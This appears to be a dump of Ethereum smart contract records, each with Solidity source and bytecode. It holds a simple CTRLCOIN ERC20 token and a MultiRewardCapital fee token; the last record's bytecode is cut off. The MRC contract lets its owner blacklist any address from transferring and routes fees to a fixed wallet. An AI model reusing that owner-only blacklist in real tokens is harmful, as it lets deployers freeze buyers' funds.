function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract CTRL is BurnableToken {
string public constant name = "CTRLCOIN";
string public constant symbol = "CTRL";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 100000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a13565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b6040518082815260200191505060405180910390f35b6103b1610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e0565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611367565b005b6040518060400160405280600881526020017f4354524c434f494e00000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a64174876e8000281565b60008111610a2057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6c57600080fd5b6000339050610ac382600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1b826001546114b690919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cea576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7e565b610cfd83826114b690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f4354524c0000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4b57600080fd5b610f9d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c257fe5b818303905092915050565b6000808284019050838110156114df57fe5b809150509291505056fea26469706673582212209e8208473ebcf186b874c9f855084b0436a52dfc91c5358dfad35ef3caeaa47b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,117 |
0xb14ee40baca763b62d98184e8a77c57f367a4bcd
|
/**
TG: https://t.me/MultiRewardCapital
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MultiRewardCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "MultiRewardCapital";
string private constant _symbol = "MRC";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x14655872a59ef3ea304215562E75b78c08f1c319);
_feeAddrWallet2 = payable(0x14655872a59ef3ea304215562E75b78c08f1c319);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612420565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906124ea565b61042a565b60405161016d9190612545565b60405180910390f35b34801561018257600080fd5b5061018b610448565b604051610198919061256f565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061258a565b610459565b6040516101d59190612545565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906125dd565b610532565b005b34801561021357600080fd5b5061021c610622565b6040516102299190612626565b60405180910390f35b34801561023e57600080fd5b506102596004803603810190610254919061266d565b61062b565b005b34801561026757600080fd5b506102706106dd565b005b34801561027e57600080fd5b50610299600480360381019061029491906125dd565b61074f565b6040516102a6919061256f565b60405180910390f35b3480156102bb57600080fd5b506102c46107a0565b005b3480156102d257600080fd5b506102db6108f3565b6040516102e891906126a9565b60405180910390f35b3480156102fd57600080fd5b5061030661091c565b6040516103139190612420565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906124ea565b610959565b6040516103509190612545565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b919061280c565b610977565b005b34801561038e57600080fd5b50610397610aa1565b005b3480156103a557600080fd5b506103ae610b1b565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612855565b61102c565b6040516103e4919061256f565b60405180910390f35b60606040518060400160405280601281526020017f4d756c74695265776172644361706974616c0000000000000000000000000000815250905090565b600061043e6104376110b3565b84846110bb565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610466848484611286565b610527846104726110b3565b610522856040518060600160405280602881526020016132bf60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d86110b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188b9092919063ffffffff16565b6110bb565b600190509392505050565b61053a6110b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be906128e1565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106336110b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b7906128e1565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071e6110b3565b73ffffffffffffffffffffffffffffffffffffffff161461073e57600080fd5b600047905061074c816118ef565b50565b6000610799600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ea565b9050919050565b6107a86110b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c906128e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4d52430000000000000